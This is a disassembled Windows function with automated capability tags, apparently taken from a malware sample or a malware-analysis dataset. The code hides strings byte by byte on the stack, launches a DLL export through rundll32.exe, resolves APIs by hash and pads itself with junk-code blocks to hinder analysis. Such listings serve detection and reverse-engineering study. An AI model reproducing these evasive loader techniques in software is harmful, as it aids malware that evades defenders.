Function at 0x4041f7
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x390
push ebx
push esi
push edi
mov byte [ebp - 0x1c], 0x20
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0x65
mov byte [ebp - 0x19], 0x73
mov byte [ebp - 0x18], 0x74
mov byte [ebp - 0x17], 0x61
mov byte [ebp - 0x16], 0x6c
mov byte [ebp - 0x15], 0x6c
and byte [ebp - 0x14], 0
mov byte [ebp - 0x234], 0x72
mov byte [ebp - 0x233], 0x75
mov byte [ebp - 0x232], 0x6e
mov byte [ebp - 0x231], 0x64
mov byte [ebp - 0x230], 0x6c
mov byte [ebp - 0x22f], 0x6c
mov byte [ebp - 0x22e], 0x33
mov byte [ebp - 0x22d], 0x32
mov byte [ebp - 0x22c], 0x2e
mov byte [ebp - 0x22b], 0x65
mov byte [ebp - 0x22a], 0x78
mov byte [ebp - 0x229], 0x65
mov byte [ebp - 0x228], 0x20
and byte [ebp - 0x227], 0
push 0x104
push 0
lea eax, [ebp - 0x338]
push eax
call fcn.00405050
add esp, 0xc
push 0x104
push 0
push 0x4017f4
call fcn.00405050
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0x224]
push eax
call fcn.00405050
add esp, 0xc
call fcn.00404f48
mov dword [ebp - 0x388], eax
push 0xea3af0d7
push 2
call fcn.004021a0
mov dword [ebp - 0x384], eax
push dword [ebp - 0x388]
push 0x4017f4
push 0x401d60
push 0x4017f4
call dword [ebp - 0x384]
push 0x104
lea eax, [ebp - 0x338]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push 0x401d5c
lea eax, [ebp - 0x338]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x338]
push eax
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
nop
pushal
jmp 0x404343
imul eax, esi, 0x12b
xadd ecx, eax
sub eax, esi
xchg ecx, edx
add ecx, esi
sbb eax, 0x43211a2f
mov bl, cl
nop
imul eax, ecx, 0xff5e3306
add al, 0xc6
mov eax, ebx
mov ebx, 0x41
cmp ebx, 0
je 0x40434c
popal
push 0x4017f4
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea eax, [ebp - 0x224]
push eax
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x401d54
push 0x81
lea eax, [ebp - 0x120]
push eax
call fcn.004031ae
lea eax, [ebp - 0x338]
push eax
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea eax, [ebp - 0x224]
push eax
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
nop
pushal
jmp 0x4043e1
imul eax, esi, 0x12b
xadd ecx, eax
sub eax, esi
xchg ecx, edx
add ecx, esi
sbb eax, 0x43211a2f
mov bl, cl
nop
imul eax, ecx, 0xff5e3306
add al, 0xc6
mov eax, ebx
mov ebx, 0x41
cmp ebx, 0
je 0x4043ea
popal
lea eax, [ebp - 0x234]
push eax
lea eax, [ebp - 0x338]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x338]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
nop
pushal
jmp 0x404443
imul eax, esi, 0x12b
xadd ecx, eax
sub eax, esi
xchg ecx, edx
add ecx, esi
sbb eax, 0x43211a2f
mov bl, cl
nop
imul eax, ecx, 0xff5e3306
add al, 0xc6
mov eax, ebx
mov ebx, 0x41
cmp ebx, 0
je 0x40444c
popal
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x338]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x44
push 0
lea eax, [ebp - 0x37c]
push eax
call fcn.00405050
add esp, 0xc
mov dword [ebp - 0x37c], 0x44
and dword [ebp - 0x350], 0
mov word [ebp - 0x34c], 5
and dword [ebp - 0x340], 0
and dword [ebp - 0x33c], 0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x37c]
push eax
push 0
push 0
push 0
push 1
push 0
push 0
lea eax, [ebp - 0x338]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
je 0x4044fd
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0xffffffffffffffff
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
nop
pushal
jmp 0x404507
imul eax, esi, 0x12b
xadd ecx, eax
sub eax, esi
xchg ecx, edx
add ecx, esi
sbb eax, 0x43211a2f
mov bl, cl
nop
imul eax, ecx, 0xff5e3306
add al, 0xc6
mov eax, ebx
mov ebx, 0x41
cmp ebx, 0
je 0x404510
popal
push 0x3d9972f5
push 1
call fcn.004021a0
mov dword [ebp - 0x38c], eax
push 0x3e8
call dword [ebp - 0x38c]
push 0x81f0f0df
push 1
call fcn.004021a0
mov dword [ebp - 0x390], eax
lea eax, [ebp - 0x120]
push eax
call dword [ebp - 0x390]
nop
pushal
jmp 0x40457d
imul eax, esi, 0x12b
xadd ecx, eax
sub eax, esi
xchg ecx, edx
add ecx, esi
sbb eax, 0x43211a2f
mov bl, cl
nop
imul eax, ecx, 0xff5e3306
add al, 0xc6
mov eax, ebx
mov ebx, 0x41
cmp ebx, 0
je 0x404586
popal
pop edi
pop esi
pop ebx
leave
ret